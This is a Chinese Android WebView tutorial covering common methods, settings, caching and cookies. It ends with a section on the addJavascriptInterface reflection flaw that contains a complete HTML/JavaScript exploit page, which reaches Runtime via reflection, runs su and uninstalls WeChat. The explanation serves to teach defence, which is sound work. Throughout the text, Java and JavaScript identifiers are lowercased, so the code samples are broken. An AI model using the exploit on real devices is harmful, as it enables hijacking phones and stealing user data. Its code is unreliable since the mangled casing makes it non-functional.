当前位置: 移动技术网 > 移动技术>移动开发>Android > Android应用开发中WebView的常用方法笔记整理

Android应用开发中WebView的常用方法笔记整理

2019年07月24日  | 移动技术网移动技术  | 我要评论
基本使用 使用webview通常是需要网络的,所以需要加上访问网络的权限 <uses-permission android:name="android

基本使用
使用webview通常是需要网络的,所以需要加上访问网络的权限

<uses-permission android:name="android.permission.internet" />

1.加载某个url的方法

webview.loadurl("http://www.baidu.com");

需要注意的是不要省略前面的http://,省略的话,某些rom中的webview会加载失败
2.加载assets中的html

webview.loadurl("file:///android_asset/xxx.html")

3.加载一段javascript

webview.loadurl("javascript:" + ${js_code})

4.为js提供本地方法
如下,提供一个showtoast的方法给javascript

private static class javajs {
  private context context;
  javajs(context context) {
    this.context = context;
  }
  @javascriptinterface
  public void showtoast(string str) {
    toast.maketext(context, str, toast.length_long).show();
  }
}
webview.addjavascriptinterface(new javajs(this), "javajs");


<script type="text/javascript">
  javajs.showtoast("toast from js");
</script>

注意:

  • 提供给javascript的方法必需是public的,否则js无法访问
  • 提供给javascript的方法将会在webview管理的线程中执行,因此要保证该方法的线程安全性.(toast是支持在非ui线程中show()的,所以上面的showtoast方法是没问题的)
  • 提供给javascript的方法一定要加上 @javascriptinterface
  • 在android 4.2,api 17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到runtime,然后执行shell命令
  • 虽然@javascriptinterface是在api 17加上的,但是api 17之前,我们依然建议将提供给javascript的方法加上该annotation.(jsr-175规定,运行时annotation缺失,则直接忽略,而不会抛出classnotfoundexception)
  • 针对android 4.2以前的设备,我们建议不要通过addjavascriptinterface向javascript提供方法,并且通过removejavascriptinterface("searchboxjavabridge_")来移除webview自己添加的java对象.

5.页面跳转

webview.setwebviewclient(new webviewclient() {

  @override
  public boolean shouldoverrideurlloading(webview view, string url) {
    if (uri.parse(url).gethost().equals("www.xxx.com")) {
      // 自己的页面,直接使用webview加载
      return false;
    }
    // 别的公司的页面,使用浏览器打开
    intent intent = new intent(intent.action_view, uri.parse(url));
    startactivity(intent);
    return true;
  }
});

6.访问历史回退

@override
public boolean onkeydown(int keycode, keyevent event) {
  if ((keycode == keyevent.keycode_back) && webview.cangoback()) {
    webview.goback();
    return true;
  }
  return super.onkeydown(keycode, event);
}

7.在logcat中输出javascript的日志信息
重写webchromeclient中的onconsolemessage方法

@override
public boolean onconsolemessage(consolemessage consolemessage) {
  log.d("webview", consolemessage.message() + " js line: " + consolemessage.linenumber());
  return true;
}

8.支持javascript的警告框 alert
重写webchromeclient中的onjsalert方法

@override
public boolean onjsalert(webview view, string url, string message, final jsresult result) {
  new alertdialog.builder(mainactivity.this)
      .settitle("jsalert")
      .setmessage(message)
      .setpositivebutton("ok", new dialoginterface.onclicklistener() {
        @override
        public void onclick(dialoginterface dialog, int which) {
          result.confirm();
        }
      })
      .setcancelable(false)
      .show();
  return true;
}

9.支持javascript的确认框 confirm
重写webchromeclient中的onjsconfirm方法

@override
public boolean onjsconfirm(webview view, string url, string message, final jsresult result) {
  new alertdialog.builder(mainactivity.this)
      .settitle("jsconfirm")
      .setmessage(message)
      .setpositivebutton("ok", new dialoginterface.onclicklistener() {
        @override
        public void onclick(dialoginterface dialog, int which) {
          result.confirm();
        }
      })
      .setnegativebutton("cancel", new dialoginterface.onclicklistener() {
        @override
        public void onclick(dialoginterface dialog, int which) {
          result.cancel();
        }
      })
      .setcancelable(false)
      .show();
  return true;
}

10.支持javascript提问框 prompt
重写webchromeclient中的onjsprompt方法

@override
public boolean onjsprompt(webview view, string url, string message, string defaultvalue, final jspromptresult result) {
  final edittext et = new edittext(mainactivity.this);
  et.settext(defaultvalue);
  new alertdialog.builder(mainactivity.this)
      .settitle(message)
      .setview(et)
      .setpositivebutton("ok", new dialoginterface.onclicklistener() {
        @override
        public void onclick(dialoginterface dialog, int which) {
          result.confirm(et.gettext().tostring());
        }
      })
      .setnegativebutton("cancel", new dialoginterface.onclicklistener() {
        @override
        public void onclick(dialoginterface dialog, int which) {
          result.cancel();
        }
      })
      .setcancelable(false)
      .show();
  return true;
}

11.显示空白页

webview.loadurl("about:blank");
//该方法使得webview只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行

12.清除返回栈 webview.clearhistory
13.获得访问历史列表 webview.copybackforwardlist
14.下载 webview.setdownloadlistener
15.pausetimers, onpause, resumetimers, onresume

pausetimers, onpause 停止解析,javascript执行等操作.区别是 onpause 只作用于调用它的webview,而 pausetimers 作用于当前应用中所有的webview
resumetimers, onresume 恢复解析,javascript执行等操作.区别是 onresume 只作用于调用它的webview,而 resumetimers 作用于当前应用中所有的webview

常用设置
1.安全相关(去掉不必要的javabridge)

//这个java bridge是webview自己添加的
//在api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作
webview.removejavascriptinterface("searchboxjavabridge_");

2.js相关

//设置支持javascript,默认是false
websettings.setjavascriptenabled(true);

3.缩放相关

//使webview支持通过手势或者缩放控制器来缩放页面,默认是true
//该设置不影响 webview.zoomin()和webview.zoomout()
websettings.setsupportzoom(true);

//设置使用默认的缩放控制器,默认是false
websettings.setbuiltinzoomcontrols(true);

//不显示默认的+/-缩放控制view, 默认是true
websettings.setdisplayzoomcontrols(false);
加载图片策略相关

//设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片.
websettings.setloadsimagesautomatically(true);

//设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度)
websettings.setblocknetworkimage(false);

//设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载
websettings.setblocknetworkloads(false);

4.渲染相关

//设置渲染线程的优先级
//该方法在 api 18之后被废弃,优先级由webview自己管理
//不过任然建议将其设置为 high,来提高页面渲染速度
websettings.setrenderpriority(renderpriority.high);
viewport相关

//设置使用 宽 的viewpoint,默认是false
//android browser以及chrome for android的设置是`true`
//而webview的默认设置是`false`
//如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置
//如果设置为`false`,那么可用区域和webview的显示区域有关.
websettings.setusewideviewport(true);

//如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是false
webview.setloadwithoverviewmode(true);
<!--如果websettings.getusewideviewport 是true, 那么可以通过meta来设置 viewport -->
<!--例如将其可用宽度设置为 480px, 并且禁用缩放功能-->
<head>
  <meta name="viewport" content="width=480, user-scalable=no" />
</head>

<!--如果websettings.getusewideviewport 是false, 那么 不能 通过meta来设置-->

其效果类似于:

<meta name="viewport" content="width=device-width"/>

注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 mozilla

前端存储相关设置(方便前端工程师在客户端存储数据)

//支持h5的 application cache 的功能
websettings.setappcacheenabled(true);
//设置 application cache 的存储路径(通常存储js,css,图片等)
websetting.setappcachepath("xxx");

//支持 h5 的session storage和local storage
websettings.setdomstorageenabled(true);

//支持javascript读,写db
websettings.setdatabaseenabled(true);
//设置js创建的db文件的路径, api 19以后废弃,直接有webview管理
websettings.setdatabasepath("xxx");

5.缓存相关设置

//设置加载资源时,如何使用cache
//默认设置是:websettings.load_default
//当webview正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当webview.goback()时,如果缓存命中,直接使用,不会验证是否过期
//可用的其他设置:load_cache_else_network, load_no_cache, load_cache_only
websettings.setcachemodel(websettings.load_default);

6.cookie相关

public static void syncookies(context context, string url) {
  cookiemanager cookiemanager = cookiemanager.getinstance();
  cookiemanager.setacceptcookie(true);//默认就是true 
  cookiemanager.setcookie(url, cookies);
  if(build.version.sdk_int < 21) {
    cookiesyncmanager.createinstance(context).sync();
  } else {
    cookiemanager.flush();
  }
}


addjavascriptinterface的安全问题
1.为javascript提供native接口的途径

android webview 提供一个addjavascriptinterface方法来为javascript创建一个javabridge.
例如给js提供一个showtoast的方法:

private static class javajs {
  private context context;
  javajs(context context) {
    this.context = context;
  }
  @javascriptinterface
  public void showtoast(string str) {
    toast.maketext(context, str, toast.length_long).show();
  }
}
webview.addjavascriptinterface(new javajs(this), "javajs");


<script type="text/javascript">
  javajs.showtoast("toast from js");
</script>

2.安全问题

api 17之前,在webview为javascript提供了java对象之后, 可以利用javascript代码调用java的反射api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的webview会自己添加一个searchboxjavabridge_对象,通常我们需要自己移除)
api 17之后,webview会禁止javascript调用没有添加@javascriptinterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@javascriptinterface,而不用关心api版本,因为annotation缺失并不会导致classnotfoundexception,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)

通过反射可以干很多事情,比如类似于 userinfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过webview打开这个html,手机上的微信就会被卸载(当然前提是该app拥有root权限).

<html>
  <head>
    <script>
      function tobytearray(str) {
        var ch, stack, result = [];
        for(var i = 0; i < str.length; ++i) {
          ch = str.charcodeat(i);
          stack = [];
          do {
            stack.push(ch & 0xff);
            ch = ch >> 8;
          } while(ch);

          result = result.concat(stack.reverse());
        }
        return result;
      }

      function execcmd(outputstream) {
        var cmd = "adb shell pm uninstall com.tencent.mm";
        outputstream.write(tobytearray(cmd));
        outputstream.close();
      }

      function tostring(inputstream) {
        var result = "";
        var c;
        while((c = inputstream.read()) != -1) {
          var s = string.fromcharcode(c);
          result += s;
        }
        return result;
      }

      function hack() {
        for(var obj in window) {
          if("getclass" in window[obj]) {
            console.log(obj);
            var runtime = window[obj].getclass().forname("java.lang.runtime").getmethod("getruntime", null).invoke(null, null);

            var p = runtime.exec(["su"]);

            execcmd(p.getoutputstream());
            alert(tostring(p.getinputstream()));
            break;
          }
        }
      }

      hack();
    </script>
  </head>

<body>
  卸载微信 :)
</body>
</html>

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

相关文章:

验证码:
移动技术网